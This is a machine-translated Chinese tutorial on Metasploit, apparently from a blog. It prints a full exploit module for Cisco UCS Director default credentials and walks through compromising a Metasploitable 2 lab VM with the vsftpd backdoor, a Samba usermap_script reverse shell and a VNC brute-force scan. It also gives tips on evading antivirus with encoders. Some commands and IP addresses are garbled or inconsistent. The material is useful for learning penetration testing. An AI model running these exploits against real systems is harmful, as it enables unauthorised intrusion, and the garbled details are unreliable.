初学者的Metasploit教程 - 从基础到高级

Metasploit是使用最广泛的渗透测试工具之一,是一个非常强大的多合一工具,用于执行渗透测试的不同步骤。


前言

如果您曾经尝试利用某些易受攻击的系统,那么您很可能已经使用过Metasploit,或者至少熟悉这个名称。它允许您查找有关系统漏洞的信息,使用现有漏洞渗透系统,帮助创建自己的漏洞等等。

在本教程中,我们将详细介绍 Metasploit 框架的基础知识,并向您展示如何充分利用这个强大工具的真实示例。


提示:以下是本篇文章正文内容,下面案例可供参考

安装Metasploit

Metasploit适用于Windows和Linux操作系统,您可以从Github中该工具的官方存储库下载源文件。如果您正在运行任何专为渗透测试而设计的操作系统,例如Kali Linux,它将预装在您的系统中。我们将介绍如何在Kali Linux上使用Metasploit Framework版本6。但是,无论您在哪里使用Metasploit,基础知识都将保持不变。

在 Linux 上安装 Metasploit

要在Linux中安装Metasploit,你必须获得metasploit-framework软件包。在基于 Debian 和 Ubuntu 的 Linux 发行版上,您可以使用 apt 实用程序:

apt install metasploit-framework

在 CentOS/Redhat 上,你可以使用 yum 实用程序来做同样的事情:

yum install metasploit-framework

了解 Metasploit 的版本并更新

如果您不确定是否有Metasploit,可以通过在终端中输入来确认:msfconsole

msfconsole

在这里插入图片描述
如您所见,我的机器已经安装了Metasploit Framework。

每次使用该命令启动 Metasploit 框架时,Metasploit 都会更改其问候消息,因此在运行它时可能会看到不同的问候消息。msfconsole

您还可以找出程序加载后安装的版本。输入并按回车键得到答案:version
在这里插入图片描述
我使用的是版本 6。如果您还没有很快更新您的 Metasploit,最好在开始使用之前更新它。这是因为如果该工具是旧的,那么更新的漏洞将不会添加到Metasploit框架的数据库中。您可以通过以下命令更新程序:msfupdate

MSF6 > MSFupdate

[*] 执行: MSF更新

当 Metasploit 是操作的一部分时,不再支持 msfupdate

系统。请使用 'apt 更新;

apt install metasploit-framework'

如您所见,该命令不受支持。发生这种情况是因为Metasploit已经是Kali Linux更新版本中操作系统的一部分。如果您使用的是旧版本的 Kali Linux,则此命令将适用于您的系统。msfupdate

现在您已经知道如何安装和更新 Metasploit 框架,让我们开始学习一些与 Metasploit 相关的基础知识。

渗透测试的基础知识

在开始之前,让我们简要地熟悉渗透测试的一些步骤。如果您已经熟悉该概念,那么您可以跳到好的部分。让我们列出渗透测试中的一些基本步骤:

  1. 信息收集/侦察
  2. 漏洞分析
  3. 渗透
  4. 渗透后
  5. 报告

1. 信息收集/侦察

在任何渗透测试的一开始,信息收集都会完成。您可以收集的有关目标的信息越多,就越能更好地了解目标系统并在该过程的后面使用这些信息。信息可能包括关键信息,如开放端口、正在运行的服务,或一般信息,如域名注册信息。各种技术和工具用于收集有关目标的信息,例如 – nmap,zenmap,whois,nslookup,dig,maltego等。

最常用的信息收集和扫描工具之一是或网络映射器实用程序。

2. 漏洞分析

在此步骤中,将分析目标的潜在漏洞以采取进一步措施。并非所有漏洞都属于同一级别。一旦被利用,某些漏洞可能会让您完全访问系统,而有些漏洞可能只为您提供有关系统的一些正常信息。可能导致一些重大结果的漏洞是从这里开始的漏洞。在这一步中,Metasploit为您提供了一个有用的数据库。

3.渗透

分析已识别的漏洞后,这是利用漏洞的步骤。

在此步骤中,使用特定程序/漏洞来攻击具有漏洞的计算机。

您可能想知道,这些漏洞从何而来?

漏洞利用来自许多来源。主要来源之一是漏洞和剥削研究人员。人们这样做是因为这里有很多利害关系,即可能涉及巨额资金作为赏金。

现在,您可能会问是否发现了漏洞,这些应用程序不是已经修复了吗?答案是肯定的,他们是。但是修复程序会在应用程序的下一次更新中出现。

那些已经在使用过时版本的人可能无法获得更新,并且仍然容易受到攻击。Metasploit框架是最适合这一步的工具。它为您提供了从数千种漏洞中进行选择的选项,并直接从 Metasploit 控制台使用它们。新的漏洞会定期更新并纳入Metasploit。您还可以从在线漏洞利用数据库添加一些其他漏洞,例如漏洞利用数据库.

此外,并非所有漏洞都是现成的供您使用。有时,您可能不得不设计自己的漏洞来逃避安全系统和入侵检测系统。Metasploit在这方面也有不同的选择供您探索。

4. 渗透后

这是您完成利用目标系统后的步骤。您可以访问系统,在这里您将决定如何处理系统。您可能有权访问低权限用户。在此步骤中,您将尝试提升您的权限。您也可以在受害者机器上保留一个后门,以便以后随时进入系统。Metasploit也有许多功能可以帮助您完成此步骤。

5. 报告

这是许多渗透测试人员必须完成的步骤。进行测试后,公司或组织将要求他们撰写有关要进行的测试和改进的详细报告。

现在,经过漫长的等待,让我们进入实际程序的基础知识 - Metasploit Framework。

Metasploit 框架的基础知识

在本节中,我们将学习与Metasploit框架相关的所有基础知识。这将帮助我们理解与程序相关的术语,并使用基本命令进行导航。

Metasploit 框架模块

如前所述,Metasploit可用于大多数渗透测试步骤。Metasploit提供的核心功能可以用一些模块来概括:

  1. 漏洞
  2. 有效载荷
  3. 辅助设备
  4. 编码器
    现在我们将讨论它们中的每一个并解释它们的含义。

1. 漏洞利用

漏洞利用是用于攻击目标漏洞的程序。Metasploit Framework上有一个大型的漏洞利用数据库。您可以在数据库中搜索漏洞利用,并查看有关其工作方式、发现时间、有效性等信息。

2. 有效载荷

有效负载在漏洞利用运行后执行某些任务。您可以使用不同类型的有效负载。例如,您可以使用反向 shell 有效负载,它基本上在受害机器中生成 shell/终端/cmd 并连接回攻击机器。

有效负载的另一个示例是绑定外壳。这种类型的 shell 在受害计算机上创建一个侦听端口,然后攻击者计算机连接到该端口。与绑定外壳相比,反向外壳的优点是,大多数系统防火墙通常不会像阻止传入连接那样阻止传出连接。

Metasploit Framework有很多有效载荷选项。一些最常用的是反向外壳、绑定外壳、仪表等。

3. 辅助设备

这些是不直接利用系统的程序。相反,它们是为在Metasploit中提供自定义功能而构建的。一些辅助设备是嗅探器、端口扫描仪等。这些可以帮助您扫描受害者计算机以进行信息收集。例如,如果您看到受害机器正在运行 ssh 服务,但您无法找出它正在使用的 ssh 版本——您可以扫描端口并使用辅助模块获取 ssh 版本。

4. 编码器

Metasploit还为您提供了使用编码器的选项,这些编码器将以威胁检测程序解释的方式加密代码。它们将在执行时自行解密并成为原始代码。但是,编码器是有限的,防病毒软件的数据库中已经有许多签名。因此,仅使用编码器并不能保证防病毒规避。不过,您可能只需使用编码器即可通过一些防病毒软件。您必须发挥创意并尝试更改有效载荷,以免检测到它。

Metasploit框架的组成部分

Metasploit是开源的,它是用Ruby编写的。它是一个可扩展的框架,您可以使用 Ruby 构建自己喜欢的自定义功能。您还可以添加不同的插件。在Metaslpoit框架的核心,有一些关键组件:

  1. msfconsole
  2. msfdb
  3. msfvenom
  4. meterpreter
    让我们谈谈这些组件中的每一个。

1. msfconsole

这是Metasploit框架使用的命令行界面。它使您能够轻松浏览所有Metasploit数据库并使用所需的模块。这是您之前输入的获取Metasploit控制台的命令。

2.MSFDB

管理所有数据可能会很快成为一个障碍,这就是为什么Metasploit Framework为您提供了使用PostgreSQL数据库来快速有效地存储和访问数据的选项。例如,您可以在数据库中存储和组织扫描结果,以便以后访问它们。

3.MSFVENOM

该工具模仿其名称并帮助您创建自己的有效载荷(注入受害者机器的毒液)。这一点很重要,因为您的有效负载可能会被检测为威胁,并被防病毒或反恶意软件等威胁检测软件删除。

发生这种情况是因为威胁检测系统已经存储了许多恶意负载的指纹。有一些方法可以逃避检测。我们将在后面专门讨论的部分中讨论这一点。msfvenom

4. meterpreter

meterpreter是一个高级有效载荷,内置了许多功能。它使用加密数据包进行通信。此外,一旦进入系统,就很难跟踪和定位。它可以捕获屏幕截图,转储密码哈希等等。

驱动器上的 metasploit 位置

Metasploit Framework 位于 /usr/share/metasploit-framework/ 目录中。您可以找到有关其组件的所有信息,并查看漏洞利用和有效负载代码。您还可以在此处添加自己的漏洞,以便从Metasploit控制台访问它。

让我们浏览一下 Metasploit 目录:

cd /usr/share/metasploit-framework

在这里插入图片描述
如您所见,有一个名为模块的目录,它应该包含漏洞利用、有效负载、辅助、编码器,如前所述。让我们进入它:

cd modules

在这里插入图片描述
此处提供了所有讨论的模块。但是,、 和是附加条目。该模块是 Metasploit 框架的新条目,可帮助创建逃避防病毒 (AV) 检测的有效负载。 代表无操作,这意味着 CPU 将只移动到下一个操作。 帮助在有效载荷中创建随机性 - 因为添加它们不会改变程序的功能。

evasion nops post evasion NopNops

最后,后期模块包含一些您可能需要在开发后使用的程序。例如,您可能希望发现您利用的主机是虚拟机还是物理计算机。您可以使用帖子类别中的模块执行此操作。现在,您可以浏览所有漏洞,有效负载或其他漏洞,并查看其代码。让我们导航到漏洞利用目录并选择一个漏洞利用。然后,我们将查看该漏洞利用的代码。checkvm

cd exploits

在这里插入图片描述
您现在看到的是漏洞利用的类别。例如,linux 目录包含可用于 Linux 系统的所有漏洞利用。

cd linux

在这里插入图片描述
让我们来看看ssh的漏洞利用。

cd ssh

在这里插入图片描述
如您所见,所有漏洞都是用 Ruby 编写的,因此,文件的扩展名是 .现在让我们看一下使用该命令的特定漏洞利用的代码,该命令直接在终端上输出内容:.rbcat
在这里插入图片描述

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco UCS Director default scpuser password',
        'Description' => %q{
          This module abuses a known default password on Cisco UCS Director. The 'scpuser'
          has the password of 'scpuser', and allows an attacker to login to the virtual appliance
          via SSH.
          This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
          Note that Cisco also mentions in their advisory that their IMC Supervisor and
          UCS Director Express are also affected by these vulnerabilities, but this module
          was not tested with those products.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2019-1935' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Cisco UCS Director < 6.7.2.0', {} ],
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-08-21',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'Username to login with', 'scpuser']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'scpuser']),
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user, pass)
    opts = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      password: pass
    })

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end

您可以看到此处显示了该漏洞利用的代码。绿色标记的部分是漏洞的描述,黄色标记的部分是可以为此漏洞设置的选项。

该描述揭示了此漏洞利用将执行的功能。如您所见,它利用了思科UCS控制器的已知漏洞。该漏洞是计算机的默认密码,如果未更改,则可用于访问系统。如果您是了解 Ruby 并且很好地掌握漏洞工作原理的人,则可以修改代码并创建自己的漏洞利用版本。这就是Metasploit框架的力量。

通过这种方式,您还可以找出 Metasploit 框架中有哪些有效负载,在目录中添加您自己的有效负载,并修改现有的有效负载。

Metasploit Framework 的基本命令

现在让我们继续有趣的事情。在本节中,我们将讨论一些您一直需要的基本 Metasploit 命令。

通过键入 来启动 Metasploit 控制台。现在,您将看到指示您处于交互模式。

msfconsole

在这里插入图片描述
我有这里显示的 msf6,其中 6 表示框架和控制台的版本。您也可以从这里执行常规的终端命令,这意味着您不必退出 Metasploit 框架来执行其他一些任务,使其非常方便。下面是一个示例 – msf6 > ls
在这里插入图片描述
该命令按预期工作。您可以使用 help 命令获取命令及其函数的列表。Metasploit有非常方便的帮助描述。它们分为几类,易于遵循。

显示命令

如果你想查看你目前在Metasploit框架中的模块,你可以使用这个命令。显示命令将显示特定模块或所有模块。show 命令需要随它一起传递参数。输入“show -h”以找出命令采用的参数:show

show -h

在这里插入图片描述
例如,您可以通过以下方式使用该命令查看所有漏洞:

show exploits

这将列出所有现有的漏洞,不用说,这将是一个很长的列表。让我们看看有多少编码器:

show encoders

可以在任何模块中使用 Show 命令来获取兼容的特定模块。在后面的部分中,您将更好地理解这一点。

在Metasploit中搜索任何内容

假设您发现服务在目标计算机上的开放端口上运行。如果您还知道该计算机正在使用哪个版本的服务,则可能需要查找该服务的已知漏洞。

您如何确定该服务是否存在任何在Metasploit上具有现成漏洞的漏洞?

你猜对了 - 你必须使用Metasploit的搜索实用程序。

它甚至不一定是漏洞利用,您还可以找到有效载荷,辅助设备等,也可以搜索描述。

让我们想象一下,我想找出Metasploit是否有任何相关的.Samba 是一个有用的跨平台工具,它使用 SMB(服务器消息块)协议。它允许Windows和基于Unix的主机之间的文件和其他资源共享。让我们使用以下命令:search

search samba

在这里插入图片描述
您还可以注意到漏洞利用的日期和描述。还有一个称为排名的指标告诉您漏洞利用有多好。这个名字实际上也是模块在 /usr/share/metasploit-framework/ 中的路径。

在“排名”、“检查”和“披露”列中编写了一些有关漏洞利用的有用信息。漏洞利用的排名指示漏洞的可靠性。利用漏洞的检查功能,您可以在主机上实际运行漏洞利用之前检查漏洞是否有效。披露日期是特定漏洞公开的日期。这是一个很好的指标,表明有多少系统将受到它的影响。

一个相对较新的漏洞将影响许多运行该服务的计算机,因为它们可能没有在短时间内更新易受攻击的应用程序。
使用命令
选择要使用的模块后,可以通过命令选择模块,后跟模块的名称或 ID。让我们使用从搜索结果中获得的第一个:use

use exploit/unix/webapp/citrix_access_gateway_exec

在这里插入图片描述
您还可以指定模块的编号:

use 0

在这里插入图片描述

使用 info 命令获取模块的说明

如果您不确定某个模块,您可以随时获取描述并查看它的作用。正如我们之前向您展示的,您可以通过查看模块的原始代码来获取描述。但是,我们将向您展示一种更快,更有效的方法。为此,您必须在输入命令后使用该命令来选择漏洞利用:info use


       Name: Citrix Access Gateway Command Execution
     Module: exploit/unix/webapp/citrix_access_gateway_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-21

Provided by:
  George D. Gal
  Erwin Paternotte

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    443              yes       The target port (TCP)
  SSL      true             yes       Use SSL
  VHOST                     no        HTTP server virtual host

Payload information:
  Space: 127

Description:
  The Citrix Access Gateway provides support for multiple 
  authentication types. When utilizing the external legacy NTLM 
  authentication module known as ntlm_authenticator the Access Gateway 
  spawns the Samba 'samedit' command line utility to verify a user's 
  identity and password. By embedding shell metacharacters in the web 
  authentication form it is possible to execute arbitrary commands on 
  the Access Gateway.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-4566
  OSVDB (70099)
  http://www.securityfocus.com/bid/45402
  http://www.vsecurity.com/resources/advisory/20101221-1/


View the full module info with the info -d command.

如您所见,该命令显示了模块的详细说明。您可以看到它的功能和使用哪些选项的描述,包括对所有内容的解释。您也可以使用该命令来获得相同的结果。info show info

show info

查看需要为模块指定的选项

对于模块,您必须设置一些选项。某些选项已经设置。您需要指定目标计算机 IP 地址、端口等选项。选项将根据您使用的模块而变化。您可以使用 或 命令查看选项。让我们看看这个实际操作:option sshow options

options

在这里插入图片描述
您可以看到此特定 .您还可以查看此漏洞的默认有效负载 () 的选项。exploit(unix/webapp/citrix_access_gateway_exec)cmd/unix/reverse_netcat

我用不同的颜色标记了所有字段。名称以绿色标记。每个选项的当前设置都标记为粉红色。漏洞利用不需要所有字段才能正常运行。其中一些是可选的。必填项将列在以蓝绿色标记的字段中。默认情况下,许多选项已经填写完毕。您可以更改它们或保持它们不变。yesRequired

在此示例中,您可以看到该选项中没有当前设置字段值。这是您必须指定目标 IP 地址的地方。您将学习如何使用下一个命令进行设置。RHOSTS

使用 set 命令为变量设置值

Set 是 Metasploit 控制台的核心命令之一。您可以使用此命令将特定于上下文的值设置为变量。例如,让我们尝试为上述选项字段设置目标 IP 地址。输入 :RHOSTSset RHOSTS [target IP]

set RHOSTS 192.168.0.1

在这里插入图片描述
现在我们已经使用 set 命令成功设置了变量的值。让我们检查一下它是否有效。输入 :RHOSTS show options

show options

在这里插入图片描述
输出显示 RHOSTS 变量或选项具有我们使用命令指定的目标计算机 IP 地址。set

show payloads

在这里插入图片描述
现在,您可以选择列出的任何有效负载。它们都与漏洞利用兼容。让我们选择一个不同的而不是默认的。在这里,我们将使用该命令将有效负载变量的值设置为特定有效负载的名称:set

set payload payload/cmd/unix/reverse_ssh

在这里插入图片描述
输出显示有效负载设置为 ()。让我们设置有效负载。输入 :cmd/unix/reverse_sshshow options

show options

在这里插入图片描述
有效负载的选项显示所选有效负载现在已更改为我们所需的有效负载 ()。您也可以使用以下命令设置有效负载选项:cmd/unix/reverse_sshset

set LPORT 5000
LPORT => 5000

在这里插入图片描述
在这里,我们设置了从默认 .让我们看看我们在选项中的更改。5000 4444

show options

在这里插入图片描述
现在您已经设置了漏洞利用和有效负载 - 您可以开始乐趣了。让我们继续讨论漏洞利用命令。

检查漏洞利用是否有效

在继续利用之前,您可能想知道它是否真的会起作用。让我们试着找出答案。我们必须使用“check”命令来查看目标主机容易受到我们设置的漏洞的攻击 –

check

在这里插入图片描述
如您所见,我们正在攻击的目标不易受到此漏洞的攻击。因此,继续这种攻击路线是没有意义的。实际上,您主要知道计算机是否存在您事先运行的漏洞的漏洞。这只是一个例子来说明什么是可能的。

我们将在下一节中向您展示可利用计算机的示例。继续阅读!

渗透测试演练

在本节中,我将演示如何完成渗透测试。我将使用故意易受攻击的Linux机器 - Metasploitable 2。创建此计算机是为了打开其端口并运行易受攻击的应用程序。您可以在rapid7的网站上获得Metasploitable。
在我们开始之前,请注意 - 永远记住,未经许可渗透任何系统都是非法的。最好创建自己的系统并练习入侵它们,而不是在可能非法的真实系统中学习这样做。

目标识别和宿主发现

现在,我们将执行任何渗透测试的第一步 - 收集有关目标主机的信息。我已经在我的局域网内创建了Metasploitable系统。所以,我已经知道目标机器的IP地址。您可能希望找出目标主机的 IP 地址。对于这种情况,可以使用 DNS 枚举。DNS 枚举是查找主机的 DNS 记录的方法。可以使用 、 或命令执行 DNS 枚举并获取与域关联的 IP 地址。如果您有权访问该计算机,则只需找出该计算机的IP地址即可。要检查主机是否已启动,您只需使用该命令或用于主机发现。nslookup dig host ping nmap

就我而言,我在Metasploitable机器上运行命令,并得到IP地址为。让我们看看我们的攻击机器是否可以ping受害者机器:ifconfig192.168.74.129

nmap -sn 192.168.0.133

在这里插入图片描述
很明显,我们的攻击机器可以到达受害者机器。让我们继续下一步。
端口扫描和服务检测
这是信息收集阶段的下一步。现在我们将找出哪些端口是开放的,哪些服务在我们的受害者机器中运行。我们将用于运行服务发现:nmap

nmap -sV 192.168.0.133

在这里插入图片描述
正如我们所看到的,这是任何渗透测试人员或黑客的聚会时间。打开的端口太多。开放端口越多,其中一个应用程序易受攻击的机会就越大。

漏洞分析

现在我们已经执行了服务检测步骤,我们知道受害者正在运行的应用程序版本。我们只需要找出其中哪一个可能容易受到攻击。您可以通过谷歌搜索来找出漏洞,或者您也可以在Metasploit数据库中搜索它们。让我们做后者,并在Metasploit中搜索。使用命令启动您的 Metasploit 控制台。msfconsole

让我们看看我们在服务检测阶段发现的列表中的第一个应用程序(这是在端口 21 上运行的 ftp 服务)是否有与之相关的任何漏洞。在 Metasploit 控制台中搜索:vsftpd 2.3.4 vsftpd

search vsftpd

在这里插入图片描述
哇!第一个已经很受欢迎了。如您所见,漏洞利用等级非常好,您可以使用此漏洞执行后门命令。但是,您必须记住,这是您正在攻击的可隐喻的。在实际系统中,您不会发现很多带有漏洞的过时应用程序。让我们继续检查其他应用程序是否容易受到攻击。尝试查看是否有任何漏洞:openssh

search openssh

在这里插入图片描述
然而,这个结果并没有那么有希望。尽管如此,我们可能还是可以暴力破解系统获取登录凭据。在开始利用它们之前,让我们找出更多漏洞。ftp应用程序看起来很有希望。让我们搜索一下 Metasploit 数据库中是否有任何东西

search proftpd

在这里插入图片描述
似乎没有具体提到 ProFTPD 应用程序的 1.3.1 版。但是,其他版本可能仍然有效。我们很快就会发现这一点。

您可以研究每个开放端口应用程序,并找出可能与它们关联的漏洞。你绝对可以使用谷歌和其他漏洞利用数据库,而不仅仅是Metasploit。

利用漏洞

这是渗透测试中最令人期待的步骤。在此步骤中,我们将利用受害者机器的所有荣耀。让我们从我们在上一步中发现的最直接的漏洞开始。这是后门命令执行漏洞。

利用 VSFTPD 漏洞

让我们使用漏洞 ():exploit/unix/ftp/vsftpd_234_backdoor

use exploit/unix/ftp/vsftpd_234_backdoor

在这里插入图片描述
这意味着您现在正在使用此漏洞。让我们看看漏洞利用的选项:

options

在这里插入图片描述
让我们将 RHOSTS 设置为目标计算机的 IP 地址(在我的例子中为 192.168.0.133):
再次查看选项:

show options

在这里插入图片描述
现在,您还必须指定有效负载。让我们看看我们的选择是什么:

show payloads

在这里插入图片描述
将会话保持在后台
首先,让我们将我们获得的会话保留在后台:

在终端内输入,然后键入并按回车键:backgroundy

whoami
root
background

Background session 2? [y/N]   y
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 

您可以随时使用以下命令访问此会话:sessions

sessions
Active sessions
===============

  Id  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  2         shell cmd/unix               0.0.0.0:0 -> 192.168.0.133:6200 (192.168.0.133)

您可以通过使用“-i”标志并指定 ID 来返回到会话。执行以下操作 –

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 2
[*] Starting interaction with 2...

whoami
root

Exploiting samba smb

您是否注意到该服务在我们受害者机器的端口中的 Samba 上运行?我们可能可以利用一个漏洞。但在此之前,没有为桑巴舞应用程序编写的特定版本。但是,我们在Metasploit中有一个辅助模块可以为我们找出版本。让我们看看这个实际操作

search smb_version
Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   ‐  ‐‐‐‐                               ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

现在选择 smb 扫描程序:

use 0

现在让我们看看我们必须设置的选项:

show options
show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   THREADS  1                yes       The number of concurrent threads (max one per host)

我们可以在这里设置和。这将是我们的目标,并决定程序的运行速度。让我们设置它们:

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.133
RHOSTS => 192.168.0.133
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 16
THREADS => 16
msf6 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   RHOSTS   192.168.0.133   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   THREADS  16               yes       The number of concurrent threads (max one per host)

现在运行它:

[*] 192.168.0.133:445    - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 192.168.0.133:445    -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.0.133:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

这在Metasploit中也可用。让我们执行搜索:

 search username map script
Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/oracle/oracle_login                   normal     No     Oracle RDBMS Login Utility
   1  exploit/multi/samba/usermap_script     2023-02-01       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/usermap_script

如您所见,此漏洞有一个漏洞,具有出色的排名。让我们使用这个并尝试访问可转移的机器:

msf6 auxiliary(scanner/smb/smb_version) > use 1
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.0.133   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic

我们可以看到有效负载选项已经设置好。我不会改变它。您可以将 LHOST 更改为攻击者的 IP 地址。我们只需要设置 RHOSTS 选项:

set RHOSTS 192.168.0.133
RHOSTS => 192.168.0.133

现在让我们利用:

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.0.133:4444 
[*] Command shell session 3 opened (192.168.0.133:4444 -> 192.168.0.133:45078) at 2023-02-01 10:58:33

whoami
root

如您所见,该漏洞设置了一个反向 TCP 处理程序来接受来自受害计算机的传入连接。然后,漏洞利用完成并打开会话。我们还可以看到访问级别是根。现在,让我们继续讨论另一个将此会话保持在后台的漏洞利用。

利用 VNC

现在让我们尝试利用在受害者机器上运行的VNC服务。如果你在Metasploit数据库中搜索,你会发现这个数据库没有匹配的漏洞。这意味着您必须考虑其他一些方法来进入此服务。让我们尝试暴力破解VNC登录。我们将辅助扫描仪用于

search scanner vnc
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/vnc/ard_root_pw                          normal  No     Apple Remote Desktop Root Vulnerability
   1  auxiliary/scanner/http/thinvnc_traversal  2019-10-16       normal  No     ThinVNC Directory Traversal
   2  auxiliary/scanner/vnc/vnc_none_auth                        normal  No     VNC Authentication None Detection
   3  auxiliary/scanner/vnc/vnc_login                            normal  No     VNC Authentication Scanner


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/vnc/vnc_login

我们将需要VNC身份验证扫描程序(3)。让我们选择它:

msf6 exploit(multi/samba/usermap_script) > use 3
msf6 auxiliary(scanner/vnc/vnc_login) > 

我们还不知道这个辅助模块的作用。让我们来了解一下。还记得命令吗?

info
Name: VNC Authentication Scanner
     Module: auxiliary/scanner/vnc/vnc_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  carstein <carstein.sec@gmail.com>
  jduck <jduck@metasploit.com>

Check supported:
  No

Basic options:
  Name              Current Setting                                                   Required  Description
  ‐‐‐‐              ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐                                                   ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
